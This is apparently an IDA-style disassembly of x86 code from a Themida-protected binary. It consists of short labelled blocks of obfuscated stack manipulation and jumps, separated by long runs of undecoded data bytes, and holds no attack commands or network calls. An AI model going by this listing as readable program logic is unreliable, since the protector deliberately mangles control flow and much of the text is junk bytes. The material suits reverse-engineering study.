; ---------------------------------------------------------------------------


loc_56947E:				; CODE XREF: Themida_:0056078Bj
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_563A7D
; ---------------------------------------------------------------------------
		db 5Fh,	0C1h, 0E7h
		dd 3BEF8108h, 0E9FF9EAAh, 4585h, 0C0E9D7F7h, 54FFFF9Ah
		dd 0CB8505Dh, 0E97C4E17h, 38DAh, 74FF505Ch, 48B0424h, 0E3895324h
		dd 6AF8E9h, 240C8900h, 42474FFh, 81240C8Bh, 4C4h, 24048F00h
		dd 8924248Bh, 0F2E9240Ch, 66FFFF55h, 0E9240C8Bh, 5633h
		dd 33240431h, 248B2404h, 240C8924h, 0FFD456E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5694F9:				; CODE XREF: Themida_:0056D01Dj
		pop	ecx
		pop	ecx
		add	ecx, 4
		push	edx
		jmp	loc_5668FF
; ---------------------------------------------------------------------------
		db 89h
		dd 0F7BB241Ch, 291B7115h, 0C2E95BDDh, 81FFFFDCh, 4C4h
		dd 0DCB6800h, 34890000h, 28086824h, 24890000h, 32E6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569532:				; CODE XREF: Themida_:00563425j
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5611C3
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 12h
		dd 89FFFF9Ch, 4C181E1h,	83000000h, 0C8704E9h, 4EE95C24h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56957B:				; CODE XREF: Themida_:0057129Ej
		mov	esp, [esp]
		jmp	loc_563DF1
; ---------------------------------------------------------------------------
		db 5Ah
		dd 5356E781h, 0BE566477h, 24275150h, 26F0E9h, 81EE2900h
		dd 2B737DEEh, 0CE30E968h, 348BFFFFh, 4C48124h, 1000000h
		dd 0F3ACE9CFh, 0BE56FFFFh, 4, 0F0E9F329h, 1FFFF64h, 34875FFEh
		dd 24248B24h, 9584E9h
		db 0
; ---------------------------------------------------------------------------


loc_5695CD:				; CODE XREF: Themida_:0056A0F8j
		push	5547h
		mov	[esp], edi
		jmp	loc_55FA3C
; ---------------------------------------------------------------------------
		dw 5553h
		dd 0DA7E7FBDh, 0C56AE97Bh, 0D1F7FFFFh, 1A5AE981h, 0EC814204h
		dd 4, 0BB241C89h, 5901D68Fh, 895BD929h,	80E959C8h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569607:				; CODE XREF: Themida_:00570251j
		sub	edx, 0B39F129Dh
		mov	edi, edx
		pop	edx
		jmp	loc_572CE4
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 4C281h, 0EA830000h, 74FF5204h, 8F5A0424h, 895C2404h
		dd 0EDB22414h, 25B45052h, 0EBE9B7B2h, 81FFFFDCh, 3B16C1F7h
		dd 0F781475Ah, 4EEA4D4Ch, 6DEDC681h, 0AFE907D7h, 0B9000075h
		dd 63581ED5h, 1595A51h,	599CE9D0h, 0E95DFFFFh, 2CCFh, 8704C283h
		dd 0A5E92414h, 56000085h, 24348B54h, 4C481h, 0C6810000h
		dd 4, 4E75BA52h, 0E94A4AD2h, 0BC5h, 78E16866h, 0FF93CBE9h
		dd 240487FFh, 468505Ch,	58000000h, 3249E9h, 0E3895300h
		dd 4C381h, 2E90000h, 8B000002h,	0BF68242Ch, 0E9000047h
		dd 9D9Eh, 65C680h, 65EE80E6h, 53C68058h, 0F0885053h, 5158C788h
		dd 0FC885052h, 6797E9h,	2B5BA00h, 0CA813E68h, 7F7947ACh
		dd 7EC6C281h, 0EA8126ACh, 4B9227F0h, 0FF7CE4E9h, 4BAFFh
		dd 0D7010000h, 2B9515Ah, 1000000h, 240C8BCFh, 330C68h
		dd 243C8900h, 0C781E789h, 4, 3304C783h,	59E9243Ch, 34FFFFE6h
		dd 8BC53050h, 89562404h, 4C681E6h, 81000000h, 4C6h, 24348700h
		dd 4EC835Ch, 52240489h,	86E8E9h
		db 0
; ---------------------------------------------------------------------------


loc_569751:				; CODE XREF: Themida_:00568DFEj
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_561A67
; ---------------------------------------------------------------------------


loc_56975C:				; CODE XREF: Themida_:005644A7j
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	376Eh
		mov	[esp], esi
		push	esp
		pop	esi
		push	edi
		mov	edi, 4
		sub	esi, 1B937381h
		add	esi, edi
		add	esi, 1B937381h
		pop	edi
		jmp	loc_5641E2
; ---------------------------------------------------------------------------
		db 81h
		dd 50A013C1h, 59CB0197h, 0E904C383h, 336Ah, 90E9535Bh
		dd 0C1FFFF89h, 0DFF707EFh, 1E52EF81h, 0EF830E9Dh, 81DFF7FFh
		dd 8B689CC7h, 8BFA2162h, 0C483243Ch, 5E2C104h, 10DEB951h
		dd 0E9813F67h, 15C30F28h, 4EC81h, 16E90000h, 0C1FFFFAAh
		dd 0D3F704E3h, 2FB4CB81h, 0EB817B9Dh, 0CA1D0C3Eh, 0E95BDD31h
		dd 5201h
; ---------------------------------------------------------------------------


loc_5697F8:				; CODE XREF: Themida_:005689C9j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	[edi+24h], ebx
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]


loc_569825:				; CODE XREF: Themida_:0056C4C8j
		sub	esp, 4
		mov	[esp], ebx
		xor	dword ptr [esp], 1CA3191Eh
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		push	edi
		push	edx
		mov	edx, 4
		mov	edi, edx
		jmp	loc_56A485
; ---------------------------------------------------------------------------
		dw 0EA29h
		dd 2414875Dh, 240C895Ch, 0C181E189h, 4,	0FF81D7E9h, 0E9FD01FFh
		dd 0FFFF979Dh, 4EC81h, 0C890000h, 1456B924h, 70E93E2Fh
		dd 0FF00000Ah, 669D1C77h, 2414D259h, 5247E99Ch,	7C29FFFFh
		dd 34FF0824h, 9F81E924h, 14B60000h, 7BBE9h, 50E43500h
		dd 86E96278h, 51FFFF98h, 0C58050B5h, 0F6DDF601h, 50D5F6D5h
		dd 4622E9h, 4B95100h, 29000000h, 240C8BCBh, 0E904C483h
		dd 0FFFFC9E1h, 8304C483h, 3C8904ECh, 2474FF24h,	243C8B04h
		dd 8F04C483h, 248B2404h, 2CD36624h, 0FFE99C24h,	68FFFFF5h
		dd 30E2h, 0E9243C89h, 5574h, 49BC68h, 4EC8300h,	51242489h
		dd 4B9h, 244C0100h, 240C8B04h, 4C481h, 48F0000h, 6CBA5224h
		dd 817D8634h, 9E39D7E2h, 0BDF2812Ah, 8107CD73h,	0B518C0C2h
		dd 0E67AE974h, 0E068FFFFh, 89000008h, 5AB9240Ch, 0E90A4717h
		dd 29B6h
; ---------------------------------------------------------------------------


loc_56994C:				; CODE XREF: Themida_:0056AB4Bj
		mov	eax, 6AC4151Fh
		push	edi
		mov	edi, 0E98587Bh
		or	eax, edi
		pop	edi
		jmp	loc_564FF8
; ---------------------------------------------------------------------------


loc_56995F:				; CODE XREF: Themida_:0056F99Aj
		add	esp, 4
		neg	edi
		inc	edi
		add	edi, 0C692BDECh
		sub	ebp, edi
		pop	edi
		pop	esi
		jmp	loc_562469
; ---------------------------------------------------------------------------
		db 81h
		dd 5037FAC3h, 2434FF5Bh, 8B2434FFh, 0C4812414h,	4, 8904EC83h
		dd 0E589242Ch, 4C581h, 0C5830000h, 8ECDE904h, 0EE810000h
		dd 8249AEF7h, 4D5EF529h, 210ACD81h, 0BF574E58h,	0DFDBEF77h
		dd 3C8BFD29h, 0E2895224h, 4C281h, 0C2810000h, 4, 31241433h
		dd 14332414h, 0EA295C24h, 0E92434FFh, 0FFFFA22Bh
; ---------------------------------------------------------------------------


loc_5699E0:				; CODE XREF: Themida_:00563F85j
		pop	edi
		sub	edx, 0AD8A81ECh
		add	ebp, edx
		jmp	loc_56B474
; ---------------------------------------------------------------------------


loc_5699EE:				; CODE XREF: Themida_:0056F4F7j
		and	edi, 1E2A33E4h
		jmp	loc_562293
; ---------------------------------------------------------------------------
		db 83h,	0C7h, 0FFh
		dd 4EC81h, 34890000h, 4EC8324h,	0BB241C89h, 526461BDh
		dd 0F705EBC1h, 0BBF381DBh, 0E982ECEFh, 0FFFF5CBFh, 0C181E189h
		dd 4, 8704C183h, 595C240Ch, 5E08950h, 4, 0FFCA59E9h, 1C8B54FFh
		dd 45E95224h, 81000031h, 0DD4B54E7h, 44EF812Fh,	89D45FCAh
		dd 0EC815FFEh, 4, 0BA241489h, 3CD5289h,	6B97E9h
		db 0
; ---------------------------------------------------------------------------


loc_569A69:				; CODE XREF: Themida_:00565EE4j
		mov	edx, eax
		jmp	loc_57220D
; ---------------------------------------------------------------------------


loc_569A70:				; CODE XREF: Themida_:005713E9j
		sub	esp, 4
		mov	[esp], ebp
		pop	eax
		jmp	loc_567A40
; ---------------------------------------------------------------------------
		db 80h
		dd 6EE95AF2h, 0BF000002h, 6B836D19h, 3C5DCF81h,	0C1470A78h
		dd 0E94F03EFh, 187Fh, 15AD389h,	0A6E95BD9h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569AA7:				; CODE XREF: Themida_:0056B248j
		push	ebp
		mov	ebp, 482B2649h
		inc	ebp
		add	ebp, 42B666CBh
		jmp	loc_571DFE
; ---------------------------------------------------------------------------


loc_569AB9:				; CODE XREF: Themida_:0056FF46j
		add	ebx, esi
		sub	ebx, 5F8D4623h
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	$+5
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------


loc_569AD3:				; CODE XREF: Themida_:005617C6j
		add	esp, 4
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		push	6F50h
		jmp	loc_5736F3
; ---------------------------------------------------------------------------
		dw 582Dh
		dd 16C7C4Ah, 4A5805D0h,	535A6C7Ch, 4BBh, 5BD82900h, 8B240487h
		dd 0EC812424h, 4, 83242489h, 8F042404h,	0EAE92404h, 53000012h
		dd 5E0889BBh, 2CFCE92Ch, 0D8210000h, 20E9E9h, 663DB500h
		dd 889FB050h, 805866C3h, 0EB0089EBh, 5989C380h,	88D98851h
		dd 0E95B59CAh, 0FFFFAE7Bh
; ---------------------------------------------------------------------------


loc_569B4C:				; CODE XREF: Themida_:00562A5Fj
		add	ecx, 29716272h
		sub	ecx, ebp
		sub	ecx, 29716272h
		pop	ebp
		and	esi, ecx
		pop	ecx
		or	esi, 11305B42h
		inc	esi
		push	edx
		mov	edx, 0FD830843h
		jmp	loc_570D18
; ---------------------------------------------------------------------------
aPsV		db 'PéÅv',0
		align 2
		dw 0EE01h
		dd 2F2DC681h, 0BF574595h, 115D1684h, 13A1F781h,	0E7814507h
		dd 607A2B8Eh, 0FAA5E947h, 815BFFFFh, 4C3h, 6262E900h, 4BFFFFFh
		dd 89000000h, 0C7015FF8h, 8124048Bh, 4C4h, 73FE900h, 1C890000h
		dd 5625E924h, 48BFFFFh,	4C48324h, 575FFA31h, 0E964E6BFh
		dd 0DE27E913h, 0E831FFFFh, 8BC7295Dh, 0C4812404h, 4, 0C781EF01h
		dd 0FB96276h, 4C7815Dh,	33000000h, 3C31243Ch, 243C3324h
		dd 0E924248Bh, 0FFFF4ECDh, 0FFEED81h, 0E829DE54h, 17392D5Dh
		dd 0D8012190h, 0FFF3FDE9h, 242C33FFh, 33242C31h, 248B242Ch
		dd 9CC88424h, 0FF4EA4E9h, 5EF181FFh, 21F13612h,	0D2F759CAh
		dd 8AC28142h, 0E92E5E0Ah, 0FFFF7C23h, 0C581E589h, 4, 0FF6DC8E9h
		dd 243433FFh, 33243431h, 0E95C2434h, 0FFFF52A0h
; ---------------------------------------------------------------------------


loc_569C60:				; CODE XREF: Themida_:0057139Dj
		add	al, 0FFh
		sub	al, 53h
		shl	al, 2
		shl	al, 6
		neg	al
		jmp	loc_56E78A
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0B916E924h, 2A68FFFFh, 5B29FF1Eh, 0E7E9DA29h, 88FFFF79h
		dd 0E9525AD4h, 0FFFFD1EDh
; ---------------------------------------------------------------------------


loc_569C90:				; CODE XREF: Themida_:0056F76Bj
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	eax, 572035E5h
		mov	edx, 0A7AA4BC4h
		jmp	loc_573635
; ---------------------------------------------------------------------------
		dw 0DF05h
		dd 89F0316Dh, 0FE2958C6h, 5D99E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569CB6:				; CODE XREF: Themida_:0056CCA3j
		mov	ebp, eax
		mov	edx, ebp
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		shl	edx, 2
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 5A7F3E02h
		push	ebx
		sub	dword ptr [esp], 702C2C93h
		jmp	loc_55F5DD
; ---------------------------------------------------------------------------
		dd 4ED815Fh, 87000000h,	248B242Ch, 24048924h, 0FFD9C1E9h
		dd 0C0C280FFh, 148BD188h, 52E95324h, 58000032h,	0E904ED83h
		dd 0FFFFCEE8h, 8B243C33h, 19E92424h, 89FFFF66h,	5450243Ch
		dd 0F266858h, 14890000h, 9963E924h, 0BF57FFFFh,	707C58B9h
		dd 5D986857h, 34890000h, 45C8E924h, 0B60F0000h,	8734FFC0h
		dd 0FF4D88E9h, 5E6C1FFh, 8C84E9h
		db 0
; ---------------------------------------------------------------------------


loc_569D51:				; CODE XREF: Themida_:0056A2B4j
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56D77B
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 8
		dd 0F281D2F7h, 86DC2885h, 815AD621h, 9173E9E6h,	50F68171h
		dd 52615D0Dh, 9A6924BAh, 81DAF759h, 0C07CC4C2h,	0F9EA812Eh
		dd 0E9E92BD0h, 2DDFh
; ---------------------------------------------------------------------------


loc_569DA0:				; CODE XREF: Themida_:0056C226j
		mov	ebp, eax
		pop	eax
		jmp	loc_560517
; ---------------------------------------------------------------------------
		dd 27F56866h, 24148966h, 0E99C5066h, 0FFFF4D19h, 34FFFA29h
		dd 0C4815F24h, 4, 31241433h, 14332414h,	24248B24h, 568CE9h
		db 0
; ---------------------------------------------------------------------------


loc_569DD5:				; CODE XREF: Themida_:00563636j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_56BA42
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		jmp	loc_572CAA
; ---------------------------------------------------------------------------
		db 89h
		dd 34312404h, 24343324h, 0E9243431h, 125Ch, 81E38953h
		dd 4C3h, 4BA5200h, 29000000h, 1C875AD3h, 24248B24h, 52243489h
		dd 2BAh, 9C30E900h, 814B0000h, 88AB9AEBh, 8BDE31D5h, 0C481241Ch
		dd 4, 348BF301h, 4C48124h, 52000000h, 4BAh, 0E9D30100h
		dd 0FFFFD5FCh
; ---------------------------------------------------------------------------


loc_569E50:				; CODE XREF: Themida_:0056C6F0j
		and	ecx, 57CF6F4Bh
		push	edi
		push	2CC7B69Fh
		pop	edi
		jmp	loc_55EC2A
; ---------------------------------------------------------------------------
		dw 487h
		dd 686EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569E6A:				; CODE XREF: Themida_:00571E01j
		add	ebp, 788E498Ah
		xor	ebp, 26A71ADEh
		add	ecx, ebp
		pop	ebp
		jmp	loc_5686D8
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 0E95B5453h, 0FFFFBA9Ah, 5E2434FFh, 4C481h
		dd 34FF0000h, 0C4815B24h, 4, 0FF1C5709h, 565A2434h, 0FF565FE9h
		dd 24248BFFh, 4858E9h
		db 0
; ---------------------------------------------------------------------------


loc_569EB5:				; CODE XREF: Themida_:0056E36Dj
		sub	esi, 1BBE5D72h
		jmp	loc_56A351
; ---------------------------------------------------------------------------


loc_569EC0:				; CODE XREF: Themida_:005703E8j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_57063F
; ---------------------------------------------------------------------------


loc_569ED0:				; CODE XREF: Themida_:005643F7j
		pop	esp
		jmp	loc_56BFEC
; ---------------------------------------------------------------------------
		dw 895Eh
		dd 242C8BE9h, 650CE9h
		db 0
; ---------------------------------------------------------------------------


loc_569EE1:				; CODE XREF: Themida_:00563CC3j
		add	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_57061E
; ---------------------------------------------------------------------------
		dd 68EF87h, 29000000h, 0B2E9243Ch, 52000003h, 55E28952h
		dd 4BDh, 5DEA0100h, 0FF98EAE9h,	24248BFFh, 4A30F66h, 0AAE99C24h
		db 4Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569F27:				; CODE XREF: Themida_:00567A14j
		pop	ebx
		mov	bh, ah
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5647E4
; ---------------------------------------------------------------------------
		dd 4AE9DF01h, 2D00001Dh, 0C2650E6h, 4EC81h, 3C890000h
		dd 77DABF24h, 0DFF729B1h, 0BD55D7F7h, 14081DE4h, 0FF7FF1E9h
		dd 242C89FFh, 0FF5EEBE9h, 242C33FFh, 1FA5E9h
		db 0
; ---------------------------------------------------------------------------


loc_569F75:				; CODE XREF: Themida_:00563BF3j
		shl	ebx, 3
		add	ebx, 9B8B9DF8h
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_572F1C
; ---------------------------------------------------------------------------
		dd 1C8BFA88h, 0E6895624h, 0FF57FBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569F95:				; CODE XREF: Themida_:00562DBFj
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_56FFE2
; ---------------------------------------------------------------------------


loc_569FAA:				; CODE XREF: Themida_:005647EAj
		mov	cl, 1Ah
		mov	ah, 0EDh
		jmp	loc_56EA84
; ---------------------------------------------------------------------------
aWsiy		db '¸[`^wé¨Y',0
		dd 2E75B800h, 0C5897956h, 0B0E95558h, 83FFFFB7h, 895604C4h
		dd 4C681E6h, 83000000h,	348704C6h, 0BAE95C24h, 89FFFF66h
		dd 4B82404h, 29000000h,	0A3E958C6h, 58000070h, 0C004EFC0h
		dd 0C78007E7h, 0FFF828FBh, 0A2E92434h, 100001Ch, 0C1EB81C3h
		dd 810ABA62h, 0DA058AC3h, 0D7EB8125h, 8F5F9C66h, 4AAFE900h
		dd 0D929FFFFh, 59CB895Bh, 66BEE9h, 0F7F98700h, 0F7F987D7h
		dd 81D1F7D9h, 5CDACFF1h, 14DE986h, 0E6890000h, 4C681h
		dd 51570000h, 926FAFB9h, 0E9D1F709h, 41F3h, 8904EC83h
		dd 76E9241Ch, 0B9000000h, 5F9C1751h, 1D5EE981h,	684040h
		dd 29000000h, 0B4E9240Ch, 88FFFFCDh, 0EE8058E6h, 5AF02828h
		dd 0AFE95A66h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A08B:				; CODE XREF: Themida_:005609AEj
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_5602ED
; ---------------------------------------------------------------------------


loc_56A097:				; CODE XREF: Themida_:005690EEj
		push	esi
		mov	esi, 36B6513Ch
		sub	esi, 0BA7628F5h
		xor	ebp, esi
		pop	esi
		jmp	loc_571B8A
; ---------------------------------------------------------------------------
		db 5Fh
		dd 525DE801h, 4BAh, 0E9D00100h,	9079h, 555EF501h, 0FFA4B0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A0C5:				; CODE XREF: Themida_:0056C938j
		mov	[esp], eax
		mov	eax, 25A9206Ah
		jmp	loc_5711C3
; ---------------------------------------------------------------------------
		dw 0DE01h
		dd 0FF5252E9h, 0E9E389FFh, 0FFFF7C2Fh
; ---------------------------------------------------------------------------


loc_56A0E0:				; CODE XREF: Themida_:00567691j
		add	esp, 4
		push	ebp
		mov	ebp, 2A232427h
		shr	ebp, 8
		sub	ebp, 2A2320h
		add	edx, ebp
		pop	ebp
		jmp	loc_5695CD
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 0FF9406E9h, 242C8BFFh, 4C481h, 30E90000h, 5B000073h
		dd 0FFAFF5E9h, 4C783FFh, 0E9243C87h, 0FFFFB0BEh, 2CA0EF80h
		dd 4F828F7h, 73045BF7h,	732CF028h, 0FF4FA4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A139:				; CODE XREF: Themida_:0056893Bj
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56B0C8
; ---------------------------------------------------------------------------
		dd 4C481h, 48F0000h, 24248B24h,	53242C89h, 0D8409568h
		dd 0CB815B66h, 9219DCh,	8103E3C1h, 1D4EECC3h, 2DB8500Ch
		dd 1BD0FE2h, 0B86858C3h, 89000026h, 8B5D241Ch, 0C483241Ch
		dd 99E1E904h, 34FF0000h, 0B9E95824h, 29000014h,	0BE5659CAh
		dd 52091D3Ah, 410EEE81h, 0EEC14D98h, 0FFEE8307h, 6E18F681h
		dd 89E96D10h, 81000097h, 4C6h, 4C68300h, 5C243487h, 405h
		dd 4EC8100h, 89000000h,	74FF2404h, 34FF0424h, 68575824h
		dd 351Ah, 3B2DE954h, 0C7800000h, 80D72882h, 7FE982EFh
		dd 0BAFFFF66h, 7CB60AD6h, 148BD789h, 4C48324h, 8103E7C1h
		dd 0C0DF2EEFh, 0E9F9316Fh, 8482h, 83B5CBFh, 81DFF73Bh
		dd 64DC9AF7h, 5FFD31EBh, 0B85DEE89h, 5CE33E1Bh,	0E0C1D8F7h
		dd 2FAAE908h, 34FF0000h, 2F3E924h, 5D540000h, 4C581h, 55530000h
		dd 0D101B9BDh, 45D5F757h, 72D4ED81h, 0ED81505Dh, 4A237E2Dh
		dd 0FF9F98E9h, 3EE281FFh, 0E930910Eh, 0FFFF7451h, 5259EB00h
		dd 0B05068B2h, 0E9C200A0h, 0FFFF9DAEh, 51242C8Bh, 0C181E189h
		dd 4, 0FF4B34E9h, 0EDF581FFh, 16EBE62h,	5C055DE8h, 0E953C63Fh
		dd 0FFFF883Ah, 8BC5295Eh, 89572404h, 4C781E7h, 0E9000000h
		dd 0FFFFE9B5h, 0E924248Bh, 0FFFF4821h
; ---------------------------------------------------------------------------


loc_56A2B0:				; CODE XREF: Themida_:0056F73Ej
		mov	[esp], esi
		push	esp
		jmp	loc_569D51
; ---------------------------------------------------------------------------
		db 5Fh,	55h, 53h
		dd 8B2D52BBh, 5E3C159h,	31BBE381h, 0F9E94185h, 5400001Fh
		dd 4C6815Eh, 81000000h,	4C6h, 24348700h, 392685Ch, 0CAE90000h
		dd 8100006Ah, 0C8D741E9h, 59CF310Ah, 0FFCC10E9h, 4EC83FFh
		dd 0FF886DE9h, 41104FFh, 0AB96E98Dh, 8B66FFFFh,	89572404h
		dd 9AB951E7h, 8161C017h, 211F1DE1h, 0D1F7490Ah,	0D023E949h
		dd 0C8BFFFFh, 753FE924h, 8B660000h, 0D5E9240Ch
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A337:				; CODE XREF: Themida_:00564992j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	ecx
		mov	ecx, 3DB66C28h
		mov	eax, ecx
		pop	ecx
		mov	ecx, eax
		jmp	loc_56E6CD
; ---------------------------------------------------------------------------


loc_56A351:				; CODE XREF: Themida_:00569EBBj
		sub	esi, 0EA02AA53h
		xor	eax, esi
		pop	esi
		push	150Ah
		jmp	loc_55EE9B
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 1E9216FFh, 0E959CE29h, 1D33h, 1C4EE953h
		dd 815F0000h, 3655CAF3h, 5BDD2923h, 8B242C87h, 14892424h
		dd 5E4BE924h, 87580000h, 815C241Ch, 4ECh, 240C8900h, 6A02E9h
		db 0
; ---------------------------------------------------------------------------


loc_56A3A5:				; CODE XREF: Themida_:005671C6j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_563E59
; ---------------------------------------------------------------------------
		dd 2B60F66h, 60A668h, 242C8900h, 2434FF54h, 0E389535Dh
		dd 4BD55h, 0C3810000h, 2AB0510Eh, 498DE9h, 2434FF00h, 0E789575Ah
		dd 0FFD95EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A3E1:				; CODE XREF: Themida_:0056703Ej
		pop	eax
		sub	esi, ecx
		jmp	loc_573C4C
; ---------------------------------------------------------------------------
		db 83h,	7Fh, 20h
		dd 8E840F00h, 51000020h, 2599BA52h, 5AE93024h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A3FF:				; CODE XREF: Themida_:00562A93j
		push	eax
		push	esp
		jmp	loc_56825E
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFF6796h, 52243C89h, 5F32E968h, 0D2F75A1Ah, 0BEE9DAF7h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A41F:				; CODE XREF: Themida_:0056D55Aj
		sub	ebp, eax
		jmp	loc_570E07
; ---------------------------------------------------------------------------
		dw 0D801h
		dd 4BB535Bh, 1000000h, 4875BD8h, 0F076E924h, 0C781FFFFh
		dd 563A032Dh, 7E2DE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A446:				; CODE XREF: Themida_:00570CF6j
		shr	dh, 8
		add	dh, 49h
		jmp	loc_5738A0
; ---------------------------------------------------------------------------
		db 0F7h, 0D8h, 5
		dd 132B1D7Eh, 6858C689h, 6281h,	89243C89h, 4C781E7h, 81000000h
		dd 4EFh, 5D30E900h, 3489FFFFh, 26B26824h, 465E22C3h, 0FFE503E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A485:				; CODE XREF: Themida_:00569845j
		pop	edx
		add	ecx, edi
		pop	edi
		push	ebx
		mov	ebx, 4
		add	ecx, 5535776h
		add	ecx, ebx
		sub	ecx, 5535776h
		pop	ebx
		xchg	ecx, [esp]
		jmp	loc_56E43B
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835A24h, 2032E904h, 4870000h, 24248B24h, 24048B66h
		dd 34FF5450h, 54535824h, 4C3815Bh, 83000000h, 1C8704C3h
		dd 24248B24h, 4BD55h, 0E8010000h, 0FFD241E9h, 4EC81FFh
		dd 89000000h, 4CE9240Ch
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A4EF:				; CODE XREF: Themida_:005723C6j
		sub	eax, 1CAA6BB1h
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55EB2A
; ---------------------------------------------------------------------------
		db 81h
		dd 7D291EF1h, 59CD0144h, 4ED81h, 0D1E90000h, 81FFFF74h
		dd 0B9159EF5h, 0EF815B6Bh, 703A6E7Ch, 4DA6E9h, 2434FF00h
		dd 5024E958h, 0EC83FFFFh, 48F5404h, 54786824h, 3C890000h
		dd 0DEBE5624h, 8102C93Eh, 0B75965E6h, 4EE6815Fh, 0E92A3C1Ah
		dd 285Eh, 2D5DE801h, 3F3F19AAh,	0AA05D829h, 813F3F19h
		dd 4ECh, 24148900h, 7452EFBAh, 8743E97Ah, 34FFFFFFh, 54515824h
		dd 0A6BD5559h, 53267958h, 7958A2BBh, 5BDD2926h,	34FFE901h
		dd 7F685D24h, 89000003h, 40E92414h, 89FFFFB5h, 0EC81241Ch
		dd 4, 0BA241489h, 52D60C77h, 295AD389h,	0EF015BDDh, 0FFDC0AE9h
		dd 0C5E681FFh, 524C8C6Ch, 0A702AA68h, 0EA815A3Ch, 0CE36BC86h
		dd 0E7E9D601h, 0F7000049h, 81CA87D1h, 442D06C2h, 68562Eh
		dd 0E96A2109h, 0FFFFE920h, 6FFCE95Dh, 0E95BFFFFh, 0FFFFEE26h
; ---------------------------------------------------------------------------


loc_56A5F8:				; CODE XREF: Themida_:00572C51j
		push	ebp
		mov	ebp, 10026D7Ch
		sub	ecx, ebp
		jmp	loc_56A918
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 0C1810000h, 4, 8704E983h, 248B240Ch,	241C8924h
		dd 0E904EC83h, 6C68h, 0AE70E951h, 7505FFFFh, 0E92D5D27h
		dd 0FFFF602Eh, 4BFh, 9905E900h,	15AFFFFh, 2434FFE9h, 83242C8Bh
		dd 0C48104C4h, 4, 0C8BCD89h, 4C48324h, 95DE821h, 68E2D1C2h
		dd 3B79h, 68241C89h, 23C7h, 0FF9C1AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A675:				; CODE XREF: Themida_:0055F0D8j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_572E6A
; ---------------------------------------------------------------------------


loc_56A686:				; CODE XREF: Themida_:005663F5j
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		jmp	loc_562B35
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 51C3006Ah, 8DE96AB1h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A6A3:				; CODE XREF: Themida_:0056F547j
		mov	ebx, [esp]
